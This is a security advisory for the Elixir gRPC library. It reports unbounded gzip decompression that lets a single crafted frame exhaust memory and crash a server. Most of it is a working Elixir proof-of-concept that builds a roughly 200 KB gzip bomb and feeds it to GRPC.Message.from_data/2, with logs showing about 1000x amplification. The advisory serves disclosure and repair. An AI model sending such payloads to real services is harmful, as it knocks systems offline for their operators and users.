gRPC Erlang package has unbounded gzip decompression (decompression bomb)

### Summary An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service). Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba ### Details `GRPC.Compressor.Gzip.decompress/1` (lib/grpc/compressor/gzip.ex:12-14) calls `:zlib.gunzip/1` directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a `GRPC.Compressor` implementation, it is invoked automatically whenever an incoming gRPC frame carries `grpc-encoding: gzip`. `:zlib.gunzip/1` allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's `max_receive_message_length` is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node. ### PoC A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request. ### Impact This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with `grpc-encoding: gzip`. ## Scripts and Logs ```elixir # Verifies: Unbounded gzip decompression (decompression bomb) Mix.install([{:grpc, "~> 0.9"}]) # Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB. uncompressed_size = 200 * 1024 * 1024 bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size)) # Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1) # set. This is the exact wire shape an outside peer would put on the socket # for a `grpc-encoding: gzip` message. frame = <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>> IO.puts( "Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes" ) :erlang.garbage_collect() mem_before = :erlang.memory(:total) IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB") # Public entry point: GRPC.Message.from_data/2 is what the server's request # handling pipeline calls with the raw bytes pulled off an incoming HTTP/2 # DATA frame, once it has resolved the encoding header to a compressor module. # An outside attacker controls `frame`; the library is the trust boundary. {:ok, decompressed} = GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame) mem_after = :erlang.memory(:total) IO.puts("Memory after: #{div(mem_after, 1024 * 1024)} MB") IO.puts("Delta: #{div(mem_after - mem_before, 1024 * 1024)} MB") IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes") amplification = byte_size(decompressed) / byte_size(bomb_payload) IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x") if byte_size(decompressed) == uncompressed_size do IO.puts( "VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload." ) else IO.puts("NOT VERIFIED: decompressed size did not match expected payload") end ``` ```logs Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes Memory before: 45 MB Memory after: 403 MB Delta: 358 MB Decompressed binary size: 209715200 bytes Amplification ratio: ~1028.7x VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload. ```